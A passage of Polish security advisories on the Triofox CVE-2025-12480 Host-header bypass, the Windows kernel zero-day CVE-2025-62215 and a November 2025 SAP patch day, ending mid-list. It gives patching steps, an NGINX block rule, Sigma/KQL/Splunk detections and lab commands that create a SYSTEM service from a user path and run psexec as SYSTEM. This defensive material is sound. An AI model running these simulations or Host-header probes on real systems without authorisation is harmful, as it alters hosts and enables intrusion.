  • Niski koszt ataku: brak uwierzytelnienia, jeden nagłówek HTTP, brak interakcji użytkownika.

Rekomendacje operacyjne / co zrobić teraz

1) Patch & konfiguracja

  • Natychmiastowa aktualizacja do ≥ 16.7.10368.56560 (sprawdź Releases History).
  • Po aktualizacji zweryfikuj: brak dostępu do AdminDatabase.aspx, AdminAccount.aspx, InitAccount.aspx z Internetu.
  • Audyt kont Triofox: usuń nieznane konta (np. „Cluster Admin”), zresetuj hasła, wymuś MFA.

2) Kontrole brzegowe (WAF/NGFW/Reverse Proxy)

  • Twarda walidacja nagłówka Host (odrzuć localhost, 127.0.0.1, ::1, niespodziewane FQDN).
  • Reguły URL: blokuj żądania do ścieżek /management/AdminDatabase.aspx, /management/AdminAccount.aspx, /management/InitAccount.aspx z sieci publicznych.
  • Włącz IPS – dostawcy publikują sygnatury dla CVE-2025-12480.

Przykładowa reguła NGINX (reverse proxy)

map $http_host $bad_host {
    default 0;
    "~*^(localhost|127\.0\.0\.1|\[?::1\]?)$" 1;
}
server {
    ...
    if ($bad_host) { return 444; }
    location ~* ^/management/(Admin(Database|Account)|InitAccount)\.aspx$ {
        allow 10.0.0.0/8; allow 192.168.0.0/16; allow 172.16.0.0/12; deny all;
        proxy_pass http://triofox_upstream;
    }
}

3) Hardening aplikacji

  • Jeżeli istnieje ustawienie TrustedHostIp – skonfiguruj je na adres(y) administracyjne; nie zostawiaj pustego. (Wg analizy kodu pusty TrustedHostIp pozostawiał jedyną „ochronę” w postaci Host header).
  • Ogranicz/wyłącz możliwość wskazania dowolnej ścieżki skanera AV; jeżeli to niemożliwe, ustaw allow-listę i monitoruj zmiany.

4) Detekcja i hunting (praktyczne przykłady)

IIS – podejrzane nagłówki/odwołania

  • Szukaj Referer zawierającego http://localhost/management/AdminAccount.aspx albo żądań do /management/... z publicznych IP.

Sigma (IIS W3C) – Host header spoofing na Triofox

title: Triofox CVE-2025-12480 Host Header Abuse
id: 0f5d1b6d-6651-4b1c-9f33-0d3a12480abc
status: experimental
logsource:
  category: webserver
  product: iis
detection:
  sel1:
    cs-host|re: '^(localhost|127\.0\.0\.1|\[?::1\]?)$'
  sel2:
    cs-uri-stem|contains: '/management/'
  condition: sel1 and sel2
level: high

KQL (Sentinel) – anomalia w refererze

W3CIISLog
| where csUriStem has "/management/"
| where csReferer has "http://localhost/"
| project TimeGenerated, sIP, csMethod, csUriStem, csReferer, csUserAgent

Windows – uruchomienia „AV skanera” jako skryptu

DeviceProcessEvents
| where InitiatingProcessFileName =~ "cmd.exe"
| where ProcessCommandLine has @"\triofox\centre_report.bat"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

LOTL narzędzia z opisu Mandiant

  • Wykrywanie instalacji/połączeń Zoho Assist/AnyDesk tuż po nietypowej aktywności Triofox (korelacja czasowa).

5) Reagowanie po kompromitacji (skrót)

  • Przegląd kont lokalnych/domenowych (zmiany haseł, dodania do Administrators/Domain Admins). (
  • Przegląd zadań zaplanowanych, usług, wpisów Run/RunOnce, kluczy IFEO.
  • Izolacja hosta Triofox, weryfikacja udziałów SMB i systemów z nim skojarzonych.

Różnice / porównania z innymi przypadkami

CVEKlasa błęduWymaganiaSkutekStatus/uwagi
CVE-2025-12480Improper Access Control + Host header abuseBrak uwierzytelnieniaUtworzenie admina → RCE przez „AV path”Naprawione w 16.7.10368.56560; aktywne kampanie UNC6485.
CVE-2025-11371LFI (wyciek plików, np. kluczy)Brak uwierzytelnieniaEkspozycja kluczy → dalsze RCEW CISA KEV; aktywne exploity w październiku 2025 r.
CVE-2025-30406ViewState RCE (machineKey)Dostęp do aplikacjiRCEPubliczne advisory i moduł Metasploit.

Podsumowanie / kluczowe wnioski

  • CVE-2025-12480 łączy banalny wektor (nagłówek Host) z niebezpieczną funkcjonalnością („AV path”), co realnie daje pełne przejęcie serwera bez poświadczeń.
  • Luka jest aktywnie wykorzystywana, potwierdzona przez Mandiant/Google i SecurityWeek – nie czekaj z reakcją.
  • Potraktuj to jak incydent brzegowy: patch, odcięcie paneli setupu od Internetu, walidacja nagłówków, detekcje w logach IIS i EDR, audyt kont i narzędzi zdalnego wsparcia.

Źródła / bibliografia

  1. Google Cloud / Mandiant – techniczny opis łańcucha ataku, artefaktów i kodu kontroli dostępu (CVE-2025-12480). (Google Cloud)
  2. NVD (CVE-2025-12480) – opis, wektor CVSS, wersja naprawiona. (NVD)
  3. SecurityWeek – informacja o aktywnej eksploatacji, wersje, TTP napastnika. (SecurityWeek)
  4. Huntress – wcześniejsza luka LFI (CVE-2025-11371) i kontekst kampanii. (Huntress)
  5. CISA – dodanie Gladinet Triofox/CentreStack (CVE-2025-11371) do KEV – priorytetyzacja łatania. (CISA)

Microsoft łata aktywnie wykorzystywaną lukę w jądrze Windows (CVE-2025-62215). Co to znaczy dla Twojej organizacji?


Wprowadzenie do problemu / definicja luki

Podczas listopadowego Patch Tuesday (11 listopada 2025 r.) Microsoft załatał aktywnie wykorzystywaną lukę podniesienia uprawnień w jądrze Windows – CVE-2025-62215. To błąd klasy race condition: atakujący, który ma już możliwość uruchomienia kodu w systemie (np. jako zwykły użytkownik), może „wygrać wyścig” i uzyskać uprawnienia SYSTEM, przejmując pełną kontrolę nad hostem. Microsoft potwierdził obserwacje exploitów w atakach w świecie rzeczywistym (szczegóły kampanii nie zostały ujawnione) i przypisał odkrycie MSTIC/MSRC.

Równocześnie opublikowano łatki do ~63 podatności (według BleepingComputer), w tym czterech oznaczonych przez Microsoft jako „krytyczne” (m.in. GDI+/Graphics Component, Office, Visual Studio, Nuance PowerScribe 360).


W skrócie

  • CVE-2025-62215 (Windows Kernel, EoP) – błąd race condition, pozwala uzyskać SYSTEM po lokalnym wykonaniu kodu; aktywnie wykorzystywany.
  • Zakres aktualizacji – ok. 63 luk (59 „Important”, 4 „Critical” wg ZDI), z czego 29 to EoP i 16 RCE (zestawienie liczbowo różni się nieznacznie między źródłami, zależnie od tego, czy liczone są też aktualizacje Chromium/Mariner).
  • Priorytet – traktować jako pilne; typowy łańcuch: zdalny RCE + lokalny EoP (CVE-2025-62215) = pełne przejęcie hosta.
  • Dodatkowy kontekst – to „lżejszy” miesiąc po październikowej kumulacji (ponad 170 CVE); mimo mniejszej liczby poprawek, ryzyko pozostaje wysokie ze względu na zero-day.

Kontekst / historia / powiązania

Relacje branżowe (SecurityWeek, BleepingComputer, ZDI, Cisco Talos, Qualys) są spójne: mamy jedną potwierdzoną 0-day w kernelu i kilka klas podatności, które często pojawiają się w łańcuchach ataków (Office/GDI+/DirectX/WinSock/CLFS). Talos podaje dla CVE-2025-62215 ocenę CVSS 7.8 i podkreśla „low complexity” przy spełnionych warunkach lokalnego uruchomienia kodu.

Warto odnotować, że Windows 10 przeszedł na ESU (płatne przedłużenie poprawek), co w wielu środowiskach komplikuje zgodność patch-managementu i priorytetyzację.


Analiza techniczna / szczegóły luki

CVE-2025-62215 – Windows Kernel EoP (race condition)

  • Warunek powodzenia: atakujący musi mieć lokalny dostęp i możliwość wykonania kodu (np. po udanym RCE, makrze Office, sideloadingu DLL, LPE przez sterownik, itp.).
  • Mechanizm: współbieżny dostęp do współdzielonego zasobu w jądrze bez właściwej synchronizacji umożliwia modyfikację stanu/struktur i eskalację do NT AUTHORITY\SYSTEM po „wygraniu wyścigu”. Microsoft explicite podkreśla, że exploit wymaga „wygrania race condition”.
  • Łańcuchy ataku w praktyce:
    • Phish → Office RCE (np. CVE-2025-62199/62205/62216) → CVE-2025-62215 (EoP) → trwałość (LsaAddAccountRights, usługi, harmonogram) → C2.
    • Drive-by/plik graficzny → GDI+ RCE (CVE-2025-60724) → kernel EoP.
    • Dev/CI środowiska → VS/Agentic AI RCE (CVE-2025-62214/62222) → kernel EoP.

Inne ważne pozycje (wybór):

  • GDI+ RCE (CVE-2025-60724, CVSS 9.8) – potencjalnie bez interakcji na serwisach parsujących pliki; bardzo groźne w systemach serwerowych skanujących/konwertujących dokumenty.
  • DirectX Graphics Kernel EoP (CVE-2025-60716) – również z elementem race condition (Talos: „high complexity”).
  • CLFS EoP (CVE-2025-60709) – komponent historycznie atrakcyjny dla APT/crimeware (często eksploatowany w poprzednich latach).

Praktyczne konsekwencje / ryzyko

  • Eskalacja po „pierwszym wstrzyknięciu” – 0-day w kernelu zamyka łańcuch ataku, podnosząc uprawnienia z User do SYSTEM; utrudnia triage, bo telemetrycznie wygląda jak „local exploit”, gdy faktyczny wektor był zdalny.
  • Ucieczka z kontenerów/aplikacji „piaskownicy” – w środowiskach z AppContainer/WDAG/ciężkim hardeningiem eskalacja do SYSTEM może obejść izolację.
  • Skutki dla IR/SOC: krótkie okno detekcji; artefakty race condition bywają skąpe; trzeba łączyć alerty z fazy pre-EoP (phish/plik) z nietypowymi zdarzeniami jądra.

Rekomendacje operacyjne / co zrobić teraz

1) Priorytetowe wdrożenie poprawek

  • Windows (wszystkie wspierane edycje): wdrożyć listopadowe cumulative updates. Zgodnie z relacjami branżowymi aktualizacja łata CVE-2025-62215 oraz inne CVE o wysokim ryzyku (GDI+, Office, DirectX).

PowerShell – szybkie sprawdzenie poziomu łatek na hostach

# ostatnie zainstalowane aktualizacje jakościowe
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

# sprawdzenie dostępnych aktualizacji (wymaga PSWindowsUpdate)
Install-Module PSWindowsUpdate -Force
Get-WindowsUpdate -MicrosoftUpdate

# ciche zainstalowanie wszystkich aktualizacji i restart poza godzinami pracy
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll -IgnoreReboot -AutoReboot

Intune – wymuszenie cyklu aktualizacji
Device > Windows > Update rings for Windows 10 and later → Ustaw krótki „Deadline for quality updates” (np. 2 dni) + „Grace period” 0–1 dzień dla krytycznych stacji.

WSUS/SCCM
Zatwierdź „Security Updates” z datą 2025-11-11 dla grup „Pilot” (24–48 h), następnie „Broad” (72–120 h) po smoke-teście zgodności.

2) Weryfikacja wdrożenia

PowerShell – weryfikacja konkretnego KB

# przykładowo sprawdź czy host ma listopadowy CU (KB będzie zależeć od wersji Windows)
$kb="KB5xxxxx"  # wstaw właściwy numer z dokumentacji wydanej dla Twojej wersji
(Get-HotFix -Id $kb -ErrorAction SilentlyContinue) -ne $null

Uwaga: numer KB różni się per wersja (23H2/24H2/25H2/Server). Zweryfikuj dla swojej gałęzi podczas publikacji w MSRC/Release Notes.

3) Wzmocnienie detekcji (MDE/Sysmon/SIEM)

Sysmon – zdarzenia warte korelacji:

  • Event ID 1/5/7/11 (ProcessCreate, ProcessTerminated, ImageLoaded, FileCreate) dla anomalii wokół win32k, ntoskrnl, sterowników grafiki/CLFS;
  • Nietypowe wątki w procesach niskoprzywilejowych prowadzące do zmian usług/kluczy LSA.

Microsoft Defender for Endpoint – zapytania KQL (Advanced Hunting):

// Podejrzane podniesienia uprawnień po niedawnym otwarciu dokumentu
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("WINWORD.EXE","EXCEL.EXE","POWERPNT.EXE")
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(7d)
    | where FileName in~ ("cmd.exe","powershell.exe","rundll32.exe","reg.exe")
) on DeviceId
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc
// Szybka detekcja tworzenia usług po EoP
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey contains @"SYSTEM\CurrentControlSet\Services"
| where InitiatingProcessAccountName !in~ ("SYSTEM","LOCAL SERVICE","NETWORK SERVICE")

4) Twarde ograniczenie wektorów wstępnych (do czasu pełnego patchowania)

  • Blokada podglądu w Office / Ochrona przed makrami – błąd Office RCE (CVE-2025-62199/62205/62216) może być łączony z EoP; ogranicz Preview Pane i makra z internetu.
  • Filtrowanie plików graficznych/metafili (GDI+ RCE, CVE-2025-60724) w bramkach, DLP, serwerach konwersji.
  • WDAC / AppLocker – polityki ograniczające uruchamianie binariów spoza zaufanych ścieżek.
  • EDR: monitoruj nietypowe TokenElevationType, SeDebugPrivilege, tworzenie usług, modyfikacje LSA/TTY.

5) Zarządzanie ryzykiem w Windows 10 (ESU)

Jeśli utrzymujesz Windows 10, zaplanuj ESU lub migrację do Windows 11; listopadowe łatki są pierwszym cyklem ESU i brak ich wdrożenia otwiera lukę na hostach „legacy”.


Różnice / porównania z innymi przypadkami

  • Wzorzec „RCE + EoP” jest typowy: w ostatnich latach wiele kampanii łączyło dokument/preview-based RCE (Office/GDI+) z kernel EoP (CLFS/win32k/DirectX). Bieżący zestaw CVE dokładnie wpisuje się w ten schemat.
  • Dynamika Patch Tuesday: po „ciężkim” październiku (ZDI raportował ~177 CVE) listopad wygląda spokojniej liczbowo, ale jakościowo mamy 0-day w kernelu – więc priorytet pozostaje wysoki.

Podsumowanie / kluczowe wnioski

  • CVE-2025-62215 to realne, potwierdzone zagrożenie: aktywny exploit + eskalacja do SYSTEM. Potraktuj jako priorytet P0.
  • Zastosuj listopadowe aktualizacje na Windows/Office/VS/DirectX/GDI+ jak najszybciej, ze szczególnym naciskiem na stacje użytkowników i serwery parsujące dokumenty.
  • W SOC skup się na korelacji: źródłowe zdarzenie (phish/plik) → nietypowe procesy → trwałość po EoP.
  • Jeśli masz Windows 10, upewnij się, że włączone są kanały ESU albo przyspiesz migrację.

Źródła / bibliografia

  1. SecurityWeek – „Microsoft Patches Actively Exploited Windows Kernel Zero-Day” (11.11.2025). Potwierdzenie 0-day (CVE-2025-62215), klasa błędu (race condition), zakres miesiąca. (SecurityWeek)
  2. BleepingComputer – „Microsoft November 2025 Patch Tuesday fixes 1 zero-day, 63 flaws” – liczby, lista kategorii, przypisanie MSTIC/MSRC. (BleepingComputer)
  3. Zero Day Initiative – „The November 2025 Security Update Review” – komentarz techniczny, kontekst (liczby, porównanie do października), akcent na łańcuch RCE→EoP. (Zero Day Initiative)
  4. Cisco Talos – „Microsoft Patch Tuesday for November 2025 — Snort rules and prominent vulnerabilities” – CVSS, krytyczne wpisy (GDI+/Office/VS/DirectX), zasady Snort. (Cisco Talos Blog)
  5. Qualys – „Microsoft Patch Tuesday, November 2025 Security Update Review” – podsumowanie kategorii, opisy GDI+/Office/DirectX, potwierdzenie charakteru CVE-2025-62215. (Qualys)

CVE-2025-62215 — Windows Kernel EoP (race condition)

TL;DR

CVE‑2025‑62215 to lokalna eskalacja uprawnień w jądrze Windows spowodowana warunkiem wyścigu (CWE‑362; także przypisana CWE‑415). Wymaga uprzywilejowanego (ale nie admin) dostępu lokalnego i pozwala podnieść uprawnienia do SYSTEM. Microsoft potwierdził aktywną eksploatację (zero‑day); poprawka została wydana w Patch Tuesday (listopad 2025). Priorytet: natychmiastowe łatanie oraz telemetria post‑eksploatacyjna (procesy SYSTEM z katalogów zapisywalnych przez użytkownika, podejrzane tworzenie usług).


Krótka definicja techniczna

Błąd klasy race condition w Windows Kernel umożliwia atakującemu z kontekstu lokalnie uwierzytelnionego (PR:L) wygrać wyścig w obsłudze zasobu współdzielonego, co skutkuje podniesieniem uprawnień do SYSTEM. Wektor CVSS v3.1 (wg Microsoft/CNA): AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (bazowa 7.0). CWE‑362 (race) oraz CWE‑415 (double free) są przypisane do rekordu.


Gdzie występuje / przykłady platform

  • Windows (desktop i serwer) — komponent: Windows Kernel; konkretne edycje/wersje patrz karta MSRC. (Microsoft i niezależne serwisy potwierdzają, że jedna z 63 poprawek w listopadzie 2025 dotyczy właśnie tej luki).
  • Active Directory / M365 / Azure / AWS / GCP / K8s / ESXinie dotyczy bezpośrednio (luka jest systemowa na hostach Windows).

Szczegółowy opis techniki (jak działa, cele, dlaczego skuteczna)

CVE‑2025‑62215 wykorzystuje niesynchronizowany dostęp do współdzielonego zasobu w jądrze. Napastnik o uprawnieniach użytkownika (np. standard user lub service account z ograniczeniami) może, poprzez odpowiednie tykowanie operacji (wyścig), doprowadzić do uzyskania tokenu SYSTEM i pełnej kontroli nad hostem. Luki EoP w kernelu są szczególnie atrakcyjne, bo zamyka to łańcuch ataku po początkowym footholdzie (np. RCE w Office/przeglądarce), a ślady w dziennikach często są pośrednie (nie ma “jednego” zdarzenia „użyto sploit kernelowy”). Microsoft oznaczył tę podatność jako aktywnie wykorzystywaną w czasie wydania poprawek.


Artefakty i logi (co obserwować)

ŹródłoTyp/IDCo szukać (skrót)
Security.evtx4688 (Process Creation), 4672 (Special Privileges), 4624 (logon), 4697 (service installed – jeśli włączone)Procesy z Integrity/System lub kontem SYSTEM uruchamiane z katalogów użytkownika/Temp/ProgramData; niespodziewane “Special privileges” zaraz po aktywności użytkownika.
System.evtx7045 (Service Installed)Nowe usługi wskazujące na binaria w %USERPROFILE%, C:\ProgramData, C:\Windows\Temp.
Sysmon1 (ProcessCreate), 6 (DriverLoad), 7 (ImageLoad), 10 (ProcessAccess), 11 (FileCreate), 13 (Registry)Procesy SYSTEM z nietypowych ścieżek; ewentualne ładowanie sterowników/obrazów z dysku użytkownika; dostęp do lsass.exe po nagłym wzroście uprawnień.
Microsoft Defender for EndpointDeviceProcessEvents, DeviceRegistryEvents, DeviceImageLoadEventsProcessIntegrityLevel == "System" + FolderPath w lokacjach zapisywalnych; nagłe wyłączanie AV/EDR; tworzenie usług/zadań.
M365 / CloudTrail / K8s auditNie dotyczy (luka hostowa Windows).
NVD/MSRC metadaneCVSS/CWE/stan exploituPotwierdzenie klasy błędu (race), wektora, aktywnej eksploatacji.

Detekcja (praktyczne reguły)

Sigma (Sysmon — podejrzany SYSTEM z katalogów zapisywalnych)

title: Suspicious SYSTEM Process From User-Writable Path
id: d3f9b3b2-0f4f-4d9e-9b8a-2025-11-12
status: experimental
description: Wykrywa procesy z IntegrityLevel=System uruchomione z katalogów zapisywalnych (Users/ProgramData/Windows\Temp) – wskaźnik post-EoP (np. CVE-2025-62215).
logsource:
  product: windows
  service: sysmon
  definition: 'EventID=1 ProcessCreate'
detection:
  selection:
    EventID: 1
    IntegrityLevel|contains: 'System'
    Image|startswith:
      - 'C:\Users\'
      - 'C:\ProgramData\'
      - 'C:\Windows\Temp\'
  filter_legit:
    Image|startswith:
      - 'C:\ProgramData\Microsoft\Windows Defender\'
      - 'C:\ProgramData\Microsoft\IntuneManagementExtension\'
  condition: selection and not filter_legit
fields:
  - UtcTime
  - Image
  - CommandLine
  - ParentImage
  - User
falsepositives:
  - Rzadkie legalne narzędzia utrzymaniowe działające jako SYSTEM z ProgramData
level: high
tags:
  - attack.T1068

Splunk (Sysmon)

index=xmlwineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
IntegrityLevel=System (Image="C:\\Users\\*" OR Image="C:\\ProgramData\\*" OR Image="C:\\Windows\\Temp\\*")
| stats count min(_time) as first_seen max(_time) as last_seen values(ParentImage) values(CommandLine) by host, Image, User

KQL (Microsoft 365 Defender / Sentinel)

DeviceProcessEvents
| where ProcessIntegrityLevel == "System"
| where FolderPath has_any ("\\Users\\", "\\ProgramData\\", "\\Windows\\Temp\\")
| where not(FolderPath startswith @"C:\ProgramData\Microsoft\Windows Defender\" 
         or FolderPath startswith @"C:\ProgramData\Microsoft\IntuneManagementExtension\")
| summarize firstSeen=min(Timestamp), lastSeen=max(Timestamp), examples=make_set(ProcessCommandLine, 5) by DeviceName, AccountName, FolderPath, InitiatingProcessFileName

Windows Security: instalacja usług (Security 4697 / System 7045)

(index=wineventlog sourcetype="WinEventLog:System" EventCode=7045) OR
(index=wineventlog sourcetype="WinEventLog:Security" EventCode=4697)
| eval bin=coalesce(ImagePath, ServiceFileName, Service_FileName, ObjectName)
| where like(bin,"C:\\Users\\%") OR like(bin,"C:\\ProgramData\\%") OR like(bin,"C:\\Windows\\Temp\\%")
| table _time host EventCode ServiceName bin

Elastic EQL

process where process.integrity_level == "System" and
  (process.executable like "C:\\Users\\*" or
   process.executable like "C:\\ProgramData\\*" or
   process.executable like "C:\\Windows\\Temp\\*")

Uwaga: brak “jednego” logu potwierdzającego exploit kernelowy. Detekcja opiera się na anomaliach post‑eksploatacyjnych i korelacjach. Informacja o aktywnej eksploatacji oraz naturze (race condition) pochodzi z MSRC/NVD/Tenable.


Heurystyki / korelacje

  • Nagły skok uprawnień: proces użytkownika → w <60 s> pojawia się proces SYSTEM z tej samej sesji/typu konsoli.
  • SYSTEM z podejrzanych ścieżek: C:\Users\, C:\Windows\Temp\, C:\ProgramData\ (nie dotyczy znanych agentów).
  • Tworzenie usługi/zadania tuż po EoP (7045/4697, SchTasks).
  • Działania obronne zaburzane po EoP (wyłączenie AV/EDR — T1562), dostęp do LSASS (Sysmon 10) — możliwa kradzież poświadczeń po podniesieniu uprawnień.
  • Koreluj z alertem “Windows Kernel EoP” w EDR (jeśli vendor publikuje taką sygnaturę dla listopadowej łatki). Publiczne raporty z 11–12 XI 2025 potwierdzają status zero‑day.

False positives / tuning

  • Oprogramowanie korporacyjne uruchamiające moduły jako SYSTEM z ProgramData (agent instalacyjny, MDM/Intune, niektóre backupy).
  • Skrypty utrzymaniowe uruchamiane przez SCCM/Intune.
  • Tuning: białe listy ścieżek dla znanych agentów (Defender, Intune, narzędzia backupu), kontrola podpisu cyfrowego obrazu oraz producenta, okno czasowe korelacji (np. 30–120 s).

Playbook reagowania (IR)

  1. Triaging & izolacja: odłącz host od sieci (EDR isolate), zachowaj lotne artefakty (PID‑y SYSTEM z nietypowych ścieżek).
  2. Weryfikacja łatek: sprawdź, czy aktualizacja zbiorcza z 11 listopada 2025 jest zastosowana (np. KB5066835/KB5066793 dla Windows 11, KB5068781 dla Windows 10 ESU).
    • PowerShell: Get-HotFix | Where-Object {$_.HotFixID -match 'KB506'}
    (Numery KB podane m.in. w przeglądzie Patch Tuesday).
  3. Hunting: uruchom reguły/SPL/KQL z sekcji 7 na ostatnie 7–14 dni.
  4. Artefakty: zrzuty dla podejrzanych procesów SYSTEM (moduły, podpis, ścieżka), wpisy 7045/4697, zmiany w Run/Services, logi EDR.
  5. Eradykacja: usuń nieautoryzowane usługi/zadania, przywróć polityki EDR/AV, wymuś Windows Update.
  6. Recovery: reboot po łatce; monitoring wzmocniony (procesy SYSTEM z user‑paths).
  7. Komunikacja/CVE tracking: odnotuj CVE‑2025‑62215 w systemie zarządzania podatnościami, śledź MSRC/NVD.

Przykłady z kampanii / case studies

  • Status: publicznie brak szczegółów o kampaniach/aktorem; Microsoft i media branżowe potwierdzają aktywną eksploatację w momencie wydania poprawek, bez ujawniania wektora wejścia.

Lab (bezpieczne testy)

Celem jest walidacja detekcji post‑EoP, bez eksploatowania luki.

  1. Symulacja “SYSTEM z user‑path” (usługa): copy %SystemRoot%\System32\notepad.exe C:\Users\Public\demo.exe sc.exe create DemoSvc binPath= "C:\Users\Public\demo.exe" start= demand sc.exe start DemoSvc sc.exe delete DemoSvc Oczekiwane: 7045/4697 oraz Sysmon EID=1 z Image=C:\Users\Public\demo.exe i Integrity=System.
  2. Symulacja procesu SYSTEM z konsoli (PsExec, Sysinternals): psexec.exe -i -s cmd.exe Następnie uruchom tymczasowy plik z %TEMP% jako SYSTEM, by trafić w reguły z sekcji 7.
  3. Kontrola huntingu KQL/SPL — uruchom zapytania i potwierdź trafienia.

Mapowania (Mitigations, Powiązane techniki)

Mitigations (ATT&CK Enterprise):

  • M1051 — Update Software (natychmiastowe wdrożenie poprawek).
  • M1040 — Behavior Prevention on Endpoint (EDR/anty‑tampering, blokady zachowań post‑EoP).
  • M1026 — Privileged Account Management (minimalizacja i monitoring użycia kont uprzywilejowanych).

Powiązane techniki (ATT&CK Enterprise):

  • T1068 — Exploitation for Privilege Escalation
  • T1543 — Create or Modify System Process
  • T1562 — Impair Defenses
  • T1055 — Process Injection

Źródła / dalsza literatura

  • MSRC — CVE‑2025‑62215 (oficjalna karta). (Microsoft Security Response Center)
  • NVD — CVE‑2025‑62215 (opis, CVSS, CWE). (NVD)
  • Tenable: opis zero‑day i klasy błędu (race condition), kontekst listopadowego Patch Tuesday. (Tenable®)
  • BleepingComputer: przegląd aktualizacji, potwierdzenie 1 zero‑day (CVE‑2025‑62215) i numery wybranych KB. (BleepingComputer)
  • SecurityWeek / DarkReading: wzmianki o aktywnej eksploatacji. (SecurityWeek)
  • ZDI / Qualys / HKCERT / SANS ISC / Talos: przeglądy miesiąca z odniesieniami do CVE‑2025‑62215. (Zero Day Initiative)
  • ATT&CK v18 — wersja i historia wydań. (MITRE ATT&CK)
  • CISA KEVna moment pisania brak wpisu dla CVE‑2025‑62215 (sprawdź ponownie przed podejmowaniem decyzji). (CISA)

Checklisty dla SOC / CISO

SOC (operacyjna):

  • Wdrożone reguły z sekcji 7 (Sysmon/Splunk/KQL/Elastic).
  • Dodatkowy “watchlist” na procesy SYSTEM z Users/ProgramData/Temp.
  • Monitor 7045/4697 + korelacja <120 s> od procesów użytkownika.
  • Threat hunting 14 dni wstecz pod kątem post‑eksploatacyjnych anomalii.
  • Walidacja, że hosty dostały listopadową CU (Windows Update/KB).

CISO (strategiczna):

  • Patch SLA: 48–72 h dla krytycznych hostów Windows przy aktywnej eksploatacji.
  • Egzekwuj M1051/M1040/M1026 (patching, EDR z ochroną przed wyłączeniem, PAM).
  • Testy kontrolne w labie (sekcja 12) i przegląd wyjątków z białych list.
  • Ciągły przegląd komunikatów MSRC/NVD; dodaj CVE‑2025‑62215 do dashboardu ryzyka.

Uwagi końcowe (stan na 12 lis 2025): Rekord NVD zawiera opis, wektor CVSS i przypisania CWE‑362/CWE‑415; MSRC potwierdza zero‑day i dostępność poprawek; niezależne serwisy (Tenable/BleepingComputer) opisują ją jako Windows Kernel EoP używaną w atakach. Sprawdzaj cyklicznie MSRC/NVD/CISA KEV, bo szczegóły (np. listy wersji Windows, atrybucje) mogą się zmienić.

SAP łata krytyczne luki w SQL Anywhere Monitor i Solution Manager (listopad 2025)


Wprowadzenie do problemu / definicja luki

11 listopada 2025 r. SAP opublikował pakiet poprawek bezpieczeństwa obejmujący 18 nowych i aktualizacje wcześniejszych not bezpieczeństwa. Wśród nich znalazły się co najmniej dwie luki o krytycznej wadze: maksymalnie poważna słabość w SQL Anywhere Monitor (Non-GUI) oraz bardzo poważna podatność w SAP Solution Manager umożliwiająca wstrzyknięcie kodu. Informacje te potwierdzają komunikaty SAP oraz niezależne serwisy branżowe.


W skrócie

  • SQL Anywhere Monitor (Non-GUI): luka z kategorią HotNews (CVSS 10.0), związana z twardo zakodowanymi poświadczeniami i zarządzaniem kluczami/sekretami. Skutkiem może być zdalne wykonanie kodu (RCE) bez uwierzytelnienia.
  • SAP Solution Manager: podatność CVE-2025-42887 (CVSS 9.9). Brak sanityzacji danych wejściowych w zdalnie wywoływanym module funkcji (RFC) pozwala uwierzytelnionemu atakującemu wstrzyknąć kod i przejąć pełną kontrolę nad systemem.
  • SAP zachęca do pilnego wdrożenia not bezpieczeństwa z listopadowego Patch Day.

Kontekst / historia / powiązania

Ekosystem SAP regularnie otrzymuje poprawki w comiesięcznym cyklu „Security Patch Day”. Listopadowe wydanie wpisuje się w trend z 2025 r., w którym kilkukrotnie łatano luki o ocenie 9.8–10.0 w NetWeaver/AS Java i komponentach towarzyszących. Dodatkowe omówienia od partnerów (Onapsis, SecurityBridge) wskazują, że bieżący zestaw obejmuje trzy krytyczne problemy (dwie „dziesiątki” i jedną „9.9”), w tym SQL Anywhere Monitor oraz Solution Manager.


Analiza techniczna / szczegóły luk

1) SQL Anywhere Monitor (Non-GUI) — „hardcoded credentials” / zarządzanie sekretami

  • Opis: w obrazie/usłudze monitora wykryto twardo zakodowane poświadczenia (np. konto serwisowe / klucz), co umożliwia nieautoryzowany dostęp do zasobów monitora, a w konsekwencji zdalne wykonanie kodu na hostach, które monitor obsługuje lub na samym komponencie.
  • Klasyfikacja: HotNews, CVSS 10.0. Noty SAP identyfikują obszar jako BC-SYB-SQA-ADM (SQL Anywhere Monitor).
  • Wektory ataku: zdalne, sieciowe, bez interakcji użytkownika; brak uwierzytelnienia po stronie atakującego (w przypadku wykorzystania ujawnionych stałych sekretów).
  • Skutki: RCE, eskalacja uprawnień, przejęcie monitoringu oraz lateral movement do serwerów baz danych/instancji, które Monitor nadzoruje.

2) SAP Solution Manager — CVE-2025-42887 (code injection przez RFC)

  • Opis: brak sanityzacji danych wejściowych w zdalnie wywoływanym module funkcji (Remote-Enabled Function Module, RFC/FM) umożliwia wstrzyknięcie kodu przez uwierzytelnionego użytkownika (niski poziom uprzywilejowania). NVD klasyfikuje podatność jako CWE-94 (Improper Control of Code Generation), z metryką AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
  • Skutki: pełne przejęcie systemu Solution Manager (konf., integralność i dostępność na poziomie „High”). Istotny jest fakt, że SolMan często integruje się z wieloma systemami satelitarnymi (landscape), co multiplikuje ryzyko łańcuchowe.
  • Doniesienia prasowe podkreślają wagę CVE-2025-42887 i wskazują ocenę 9.9.

Praktyczne konsekwencje / ryzyko

  • RCE i przejęcie środowiska: w przypadku SQL Anywhere Monitor atakujący może uzyskać natychmiastowy dostęp systemowy oraz pivotować do baz danych i serwerów aplikacyjnych SAP.
  • Atak wewnątrz-organiczny/„low-priv”: CVE-2025-42887 wymaga autoryzacji, ale w dużych krajobrazach SAP niski poziom uprawnień użytkownika technicznego bywa powszechny. To otwiera drogę do abuse of RFC, z możliwością skryptowania wywołań FM i eskalacji na SolMan.
  • Łańcuch dostaw IT/OT: SolMan jako „central brain” ALM dotyka transportów, jobów, interfejsów — kompromitacja przenosi się na krajobraz produkcyjny.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania (0–24 h)

  1. Zidentyfikuj ekspozycję:
